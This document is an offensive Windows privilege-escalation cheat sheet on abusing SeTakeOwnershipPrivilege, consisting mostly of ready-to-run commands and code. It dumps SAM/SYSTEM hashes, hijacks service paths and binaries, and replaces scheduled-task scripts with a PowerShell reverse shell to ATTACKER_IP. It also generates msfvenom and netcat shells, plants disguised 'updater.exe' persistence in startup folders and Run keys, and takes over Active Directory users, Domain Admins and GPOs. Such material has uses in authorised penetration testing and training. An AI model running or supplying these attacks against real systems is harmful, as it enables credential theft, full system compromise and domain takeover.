Skip to main content

Overview

SeTakeOwnershipPrivilege allows a user to take ownership of any securable object in Windows without being granted discretionary access. Once you own an object, you can grant yourself full control over it — files, registry keys, services, AD objects, anything with a security descriptor. The attack chain is always the same: take ownership → modify DACL → exploit the object.

Who Has It by Default

PrincipalContext
AdministratorsEnabled by default
Domain AdminsEnabled by default
Accounts with explicit GPO assignmentCheck secpol.msc → User Rights Assignment
If you compromised a local admin that is not yet SYSTEM, or a service account with this privilege assigned via GPO, this is your path.

Check if Enabled

whoami /priv
Filter for it:
whoami /priv | findstr /i "TakeOwnership"
Expected output when exploitable:
SeTakeOwnershipPrivilege      Take ownership of files or other objects      Enabled
If Disabled, you need to enable it in your current token before using it. See Enabling the Privilege below.

How It Works Technically

Every securable object in Windows (file, folder, registry key, service, AD object, named pipe, process, etc.) has a security descriptor containing:
Security Descriptor
├── Owner SID          ← who owns the object
├── DACL               ← who can access and how
├── SACL               ← auditing rules
└── Group SID          ← primary group
Normally, only the current owner or someone with WRITE_OWNER permission can change the owner. SeTakeOwnershipPrivilege bypasses this entirely — it grants implicit WRITE_OWNER on every object regardless of its DACL. The exploitation flow:
1. SeTakeOwnershipPrivilege enabled in token
2. Change owner of target object to yourself
3. As owner, grant yourself Full Control (modify DACL)
4. Read, write, or replace the object
5. Exploit → SYSTEM
The Windows API behind this is SetNamedSecurityInfo / SetSecurityInfo with OWNER_SECURITY_INFORMATION. The takeown.exe and icacls.exe utilities wrap this API.

Take Ownership of SAM/SYSTEM Files

Dump local hashes by taking ownership of the SAM and SYSTEM registry hives.

Via Registry (Preferred — Avoids File Locks)

The SAM and SYSTEM files under C:\Windows\System32\config\ are locked by the OS. Use registry save instead:
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
If access denied on the registry hives, take ownership first:
# Take ownership of SAM registry key
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey("SAM\SAM", [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, [System.Security.AccessControl.RegistryRights]::TakeOwnership)
$acl = $key.GetAccessControl()
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
$key.SetAccessControl($acl)

# Grant full control
$acl = $key.GetAccessControl()
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("$env:USERNAME", "FullControl", "Allow")
$acl.SetAccessRule($rule)
$key.SetAccessControl($acl)
Then dump:
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM

Via File System

If you need the raw files (e.g., for offline cracking with Volume Shadow Copy):
takeown /f "C:\Windows\System32\config\SAM"
icacls "C:\Windows\System32\config\SAM" /grant %USERNAME%:F

takeown /f "C:\Windows\System32\config\SYSTEM"
icacls "C:\Windows\System32\config\SYSTEM" /grant %USERNAME%:F
The files are still locked while Windows is running. Use a volume shadow copy to access them:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

Crack the Hashes

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Take Ownership of Service Registry Keys

Modify a service’s ImagePath to point to your payload. The service runs as SYSTEM — so does your payload.

Step 1 — Find a Target Service

sc query type= service state= all | findstr "SERVICE_NAME"
Pick a service running as LocalSystem:
sc qc TargetService
Look for SERVICE_START_NAME : LocalSystem.

Step 2 — Take Ownership of the Registry Key

takeown /f "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /r
The /r flag recurses into subkeys. If takeown does not support registry paths on your OS version, use PowerShell:
$keyPath = "SYSTEM\CurrentControlSet\Services\TargetService"
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey($keyPath, [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, [System.Security.AccessControl.RegistryRights]::TakeOwnership)
$acl = $key.GetAccessControl()
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
$key.SetAccessControl($acl)

Step 3 — Grant Full Control

$acl = $key.GetAccessControl()
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("$env:USERNAME", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow")
$acl.SetAccessRule($rule)
$key.SetAccessControl($acl)

Step 4 — Modify ImagePath

reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\shell.exe" /f
Or for a reverse shell:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444" /f

Step 5 — Restart Service

sc stop TargetService
sc start TargetService
If you cannot restart the service, change its start type to automatic and wait for a reboot:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v Start /t REG_DWORD /d 2 /f

Take Ownership of Service Binaries

Replace the actual binary a service executes.

Step 1 — Find the Binary Path

sc qc TargetService | findstr "BINARY_PATH_NAME"

Step 2 — Take Ownership and Replace

takeown /f "C:\Program Files\TargetApp\service.exe"
icacls "C:\Program Files\TargetApp\service.exe" /grant %USERNAME%:F

Step 3 — Replace Binary

move "C:\Program Files\TargetApp\service.exe" "C:\Program Files\TargetApp\service.exe.bak"
copy C:\Windows\Temp\shell.exe "C:\Program Files\TargetApp\service.exe"
Generate the payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

Step 4 — Restart

sc stop TargetService && sc start TargetService

Take Ownership of Scheduled Task Files

Scheduled tasks running as SYSTEM often execute scripts or binaries. Replace them.

Find Scheduled Tasks Running as SYSTEM

schtasks /query /fo LIST /v | findstr /i "TaskName Run As"
Get-ScheduledTask | Where-Object { $_.Principal.UserId -match "SYSTEM|S-1-5-18" } | 
  Select TaskName, @{N='Action';E={$_.Actions.Execute}} | Format-Table -AutoSize

Replace the Task Binary

takeown /f "C:\Scripts\scheduled_task.ps1"
icacls "C:\Scripts\scheduled_task.ps1" /grant %USERNAME%:F
Overwrite with payload:
# Replace PowerShell script content
Set-Content "C:\Scripts\scheduled_task.ps1" -Value @'
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
'@
Or if the task runs an executable:
takeown /f "C:\Program Files\TaskApp\task.exe"
icacls "C:\Program Files\TaskApp\task.exe" /grant %USERNAME%:F
move "C:\Program Files\TaskApp\task.exe" "C:\Program Files\TaskApp\task.exe.bak"
copy C:\Windows\Temp\shell.exe "C:\Program Files\TaskApp\task.exe"
Wait for the task to trigger, or run it manually if allowed:
schtasks /run /tn "TaskName"

Take Ownership of Startup Folder Locations

Binaries in startup folders execute when any user (or all users) log in.

Target Paths

FolderRuns As
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartupAll users (their own context)
C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupSpecific user

Take Ownership and Plant Payload

All-users startup:
takeown /f "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /r /d Y
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /grant %USERNAME%:F
copy C:\Windows\Temp\shell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
Target an admin user’s startup folder:
takeown /f "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /r /d Y
icacls "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /grant %USERNAME%:F
copy C:\Windows\Temp\shell.exe "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
The payload executes when the target user logs in.

Take Ownership of Registry Run Keys

Run keys execute binaries at user logon. Take ownership of HKLM keys to affect all users.

Step 1 — Take Ownership

$keyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey($keyPath, [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, [System.Security.AccessControl.RegistryRights]::TakeOwnership)
$acl = $key.GetAccessControl()
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
$key.SetAccessControl($acl)

Step 2 — Grant Full Control

$acl = $key.GetAccessControl()
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("$env:USERNAME", "FullControl", "Allow")
$acl.SetAccessRule($rule)
$key.SetAccessControl($acl)

Step 3 — Add Payload

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
Other useful Run key locations:
:: Per-machine
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v Payload /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f

:: Per-user (HKCU usually writable already, but other users' HKCU via HKU)
reg add "HKU\<TARGET_USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Payload /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f

Take Ownership of AD Objects (Domain Context)

In a domain environment, SeTakeOwnershipPrivilege on a Domain Controller (or via PowerView remotely with the privilege) lets you take ownership of AD objects — users, groups, OUs, GPOs.

Take Ownership of a User Object (Reset Password)

Import-Module ActiveDirectory

# Take ownership
$user = Get-ADUser -Identity "TargetAdmin"
$acl = Get-Acl "AD:\$($user.DistinguishedName)"
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME")
Set-Acl "AD:\$($user.DistinguishedName)" $acl

# Grant GenericAll
$identity = [System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $identity,
    [System.DirectoryServices.ActiveDirectoryRights]"GenericAll",
    [System.Security.AccessControl.AccessControlType]"Allow"
)
$acl.AddAccessRule($rule)
Set-Acl "AD:\$($user.DistinguishedName)" $acl

# Reset their password
Set-ADAccountPassword -Identity "TargetAdmin" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force) -Reset

Take Ownership of a Group (Add Yourself)

$group = Get-ADGroup -Identity "Domain Admins"
$acl = Get-Acl "AD:\$($group.DistinguishedName)"
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME")
Set-Acl "AD:\$($group.DistinguishedName)" $acl

# Grant GenericAll on the group
$identity = [System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $identity,
    [System.DirectoryServices.ActiveDirectoryRights]"GenericAll",
    [System.Security.AccessControl.AccessControlType]"Allow"
)
$acl.AddAccessRule($rule)
Set-Acl "AD:\$($group.DistinguishedName)" $acl

# Add yourself
Add-ADGroupMember -Identity "Domain Admins" -Members "$env:USERNAME"

Take Ownership of a GPO (Backdoor via Group Policy)

$gpo = Get-GPO -Name "Default Domain Policy"
$gpoPath = "AD:\CN={$($gpo.Id)},CN=Policies,CN=System,DC=domain,DC=local"
$acl = Get-Acl $gpoPath
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME")
Set-Acl $gpoPath $acl
Then modify the GPO to push a scheduled task, startup script, or registry setting domain-wide.

Using PowerView

Import-Module .\PowerView.ps1

# Take ownership of target user
Set-DomainObjectOwner -Identity "TargetAdmin" -OwnerIdentity "CompromisedUser"

# Grant full rights
Add-DomainObjectAcl -TargetIdentity "TargetAdmin" -PrincipalIdentity "CompromisedUser" -Rights All

# Force password reset
Set-DomainUserPassword -Identity "TargetAdmin" -AccountPassword (ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force)

Using takeown.exe + icacls

The built-in tools for the most common operations.

takeown.exe

:: Take ownership of a single file
takeown /f "C:\target\file.exe"

:: Take ownership of a folder and all contents recursively
takeown /f "C:\target\folder" /r /d Y

:: Take ownership as Administrators group instead of current user
takeown /f "C:\target\file.exe" /a

icacls.exe

:: Grant full control to current user
icacls "C:\target\file.exe" /grant %USERNAME%:F

:: Grant full control recursively
icacls "C:\target\folder" /grant %USERNAME%:F /t

:: Check current permissions
icacls "C:\target\file.exe"

:: Remove all inherited permissions and grant only to yourself
icacls "C:\target\file.exe" /inheritance:r /grant %USERNAME%:F

One-Liner (Take Ownership + Full Control)

takeown /f "C:\target\file.exe" && icacls "C:\target\file.exe" /grant %USERNAME%:F
Recursive version:
takeown /f "C:\target\folder" /r /d Y && icacls "C:\target\folder" /grant %USERNAME%:F /t

Using PowerShell Set-Acl

Native PowerShell approach without external tools.

Files and Folders

# Take ownership
$acl = Get-Acl "C:\target\file.exe"
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
Set-Acl "C:\target\file.exe" $acl

# Grant full control
$acl = Get-Acl "C:\target\file.exe"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("$env:USERNAME", "FullControl", "Allow")
$acl.SetAccessRule($rule)
Set-Acl "C:\target\file.exe" $acl

Registry Keys

$keyPath = "HKLM:\SYSTEM\CurrentControlSet\Services\TargetService"
$key = Get-Item $keyPath

# Take ownership (need to open with TakeOwnership right)
$regKey = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
    "SYSTEM\CurrentControlSet\Services\TargetService",
    [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
    [System.Security.AccessControl.RegistryRights]::TakeOwnership
)
$acl = $regKey.GetAccessControl([System.Security.AccessControl.AccessControlSections]::None)
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
$regKey.SetAccessControl($acl)

# Grant full control
$acl = $regKey.GetAccessControl()
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
    "$env:USERNAME",
    "FullControl",
    "ContainerInherit,ObjectInherit",
    "None",
    "Allow"
)
$acl.SetAccessRule($rule)
$regKey.SetAccessControl($acl)

Reusable Function

function Invoke-TakeOwn {
    param([string]$Path)
    
    $acl = Get-Acl $Path
    $acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
    Set-Acl $Path $acl
    
    $acl = Get-Acl $Path
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
        "$env:USERNAME", "FullControl", "Allow"
    )
    $acl.SetAccessRule($rule)
    Set-Acl $Path $acl
    
    Write-Output "[+] Owned: $Path"
}

# Usage
Invoke-TakeOwn -Path "C:\Windows\System32\config\SAM"
Invoke-TakeOwn -Path "C:\Program Files\Service\app.exe"

Using SetNamedSecurityInfo API

Direct Win32 API call via P/Invoke. Use when takeown.exe is blocked or unavailable.
$code = @'
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;

public class TakeOwnership
{
    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern uint SetNamedSecurityInfo(
        string pObjectName,
        SE_OBJECT_TYPE ObjectType,
        SECURITY_INFORMATION SecurityInfo,
        IntPtr psidOwner,
        IntPtr psidGroup,
        IntPtr pDacl,
        IntPtr pSacl
    );

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool ConvertStringSidToSid(string StringSid, out IntPtr Sid);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetCurrentProcess();

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    enum SE_OBJECT_TYPE { SE_FILE_OBJECT = 1, SE_REGISTRY_KEY = 4, SE_SERVICE = 5 }
    enum SECURITY_INFORMATION : uint { OWNER_SECURITY_INFORMATION = 0x00000001, DACL_SECURITY_INFORMATION = 0x00000004 }

    [StructLayout(LayoutKind.Sequential)]
    struct LUID { public uint LowPart; public int HighPart; }

    [StructLayout(LayoutKind.Sequential)]
    struct LUID_AND_ATTRIBUTES { public LUID Luid; public uint Attributes; }

    [StructLayout(LayoutKind.Sequential)]
    struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID_AND_ATTRIBUTES Privileges; }

    const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
    const uint TOKEN_QUERY = 0x0008;
    const uint SE_PRIVILEGE_ENABLED = 0x00000002;

    public static void EnablePrivilege(string privilege)
    {
        IntPtr hToken;
        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken);
        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
        tp.PrivilegeCount = 1;
        tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;
        LookupPrivilegeValue(null, privilege, ref tp.Privileges.Luid);
        AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }

    public static uint TakeOwnFile(string path)
    {
        EnablePrivilege("SeTakeOwnershipPrivilege");
        string sid = WindowsIdentity.GetCurrent().User.Value;
        IntPtr pSid;
        ConvertStringSidToSid(sid, out pSid);
        return SetNamedSecurityInfo(path, SE_OBJECT_TYPE.SE_FILE_OBJECT, SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION, pSid, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
    }

    public static uint TakeOwnRegKey(string path)
    {
        EnablePrivilege("SeTakeOwnershipPrivilege");
        string sid = WindowsIdentity.GetCurrent().User.Value;
        IntPtr pSid;
        ConvertStringSidToSid(sid, out pSid);
        return SetNamedSecurityInfo(path, SE_OBJECT_TYPE.SE_REGISTRY_KEY, SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION, pSid, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
    }
}
'@

Add-Type -TypeDefinition $code -Language CSharp

# Take ownership of a file
[TakeOwnership]::TakeOwnFile("C:\Windows\System32\config\SAM")

# Take ownership of a registry key (use MACHINE\path format)
[TakeOwnership]::TakeOwnRegKey("MACHINE\SYSTEM\CurrentControlSet\Services\TargetService")

Enabling a Disabled Privilege

If whoami /priv shows SeTakeOwnershipPrivilege as Disabled, the privilege exists in your token but must be enabled before use. takeown.exe enables it automatically. For PowerShell and API methods, enable it manually:
# Using Win32 API via the TakeOwnership class above
[TakeOwnership]::EnablePrivilege("SeTakeOwnershipPrivilege")
Or using a standalone snippet:
$definition = @'
using System;
using System.Runtime.InteropServices;

public class Priv
{
    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool LookupPrivilegeValue(string host, string name, ref long luid);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool AdjustTokenPrivileges(IntPtr token, bool disableAll, ref TOKEN_PRIVILEGES newState, int len, IntPtr prev, IntPtr rLen);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
    
    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();
    
    [StructLayout(LayoutKind.Sequential, Pack=1)]
    struct TOKEN_PRIVILEGES { public int Count; public long Luid; public int Attr; }
    
    public static void Enable(string privilege)
    {
        IntPtr token;
        OpenProcessToken(GetCurrentProcess(), 0x0028, out token);
        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES { Count = 1, Attr = 2 };
        LookupPrivilegeValue(null, privilege, ref tp.Luid);
        AdjustTokenPrivileges(token, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }
}
'@
Add-Type -TypeDefinition $definition
[Priv]::Enable("SeTakeOwnershipPrivilege")
Verify:
whoami /priv | findstr /i "TakeOwnership"

Full Chain Walkthrough: TakeOwnership to SYSTEM

Step-by-step example taking ownership of a service registry key, modifying the image path, and getting a SYSTEM shell.

1. Confirm the Privilege

whoami /priv | findstr /i "TakeOwnership"

2. Enumerate Services Running as SYSTEM

Get-CimInstance Win32_Service | Where-Object { $_.StartName -match "LocalSystem" } | 
  Select Name, PathName, State, StartMode | Format-Table -AutoSize
Pick a stopped or restartable service. Prefer one with StartMode = Auto.

3. Take Ownership of the Service Registry Key

$svc = "TargetService"
$regKey = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
    "SYSTEM\CurrentControlSet\Services\$svc",
    [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
    [System.Security.AccessControl.RegistryRights]::TakeOwnership
)
$acl = $regKey.GetAccessControl([System.Security.AccessControl.AccessControlSections]::None)
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
$regKey.SetAccessControl($acl)
Write-Output "[+] Ownership taken"

4. Grant Full Control

$acl = $regKey.GetAccessControl()
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
    "$env:USERNAME", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow"
)
$acl.SetAccessRule($rule)
$regKey.SetAccessControl($acl)
Write-Output "[+] Full control granted"

5. Modify ImagePath

reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444" /f

6. Start Listener and Restart Service

Attacker:
nc -lvnp 4444
Target:
sc stop TargetService
sc start TargetService

7. Verify

whoami
:: NT AUTHORITY\SYSTEM

Quick Reference

TargetTake Ownership CommandNext Step
SAM/SYSTEM hivereg save HKLM\SAM / reg save HKLM\SYSTEMimpacket-secretsdump -sam SAM -system SYSTEM LOCAL
Service registry keyPowerShell OpenSubKey with TakeOwnershipModify ImagePath → restart service
Service binarytakeown /f "C:\path\svc.exe" + icacls /grant :FReplace binary → restart service
Scheduled task filetakeown /f "C:\path\task.exe" + icacls /grant :FReplace file → wait for trigger
Startup foldertakeown /f "C:\ProgramData\...\Startup" /r /d YDrop payload → wait for logon
HKLM Run keysPowerShell OpenSubKey with TakeOwnershipAdd reg add entry → wait for logon
AD user objectSet-DomainObjectOwner / Set-Acl AD:\GenericAll → reset password
AD group objectSet-DomainObjectOwner / Set-Acl AD:\GenericAll → add member
AD GPOSet-Acl AD:\CN={GUID},...Modify GPO → domain-wide persistence
ToolWhen to Use
takeown.exe + icacls.exeFiles and folders, simplest approach
PowerShell Set-AclRegistry keys, AD objects, scripted attacks
SetNamedSecurityInfo APIWhen built-in tools are blocked or you need stealth
PowerView Set-DomainObjectOwnerAD objects from a domain-joined machine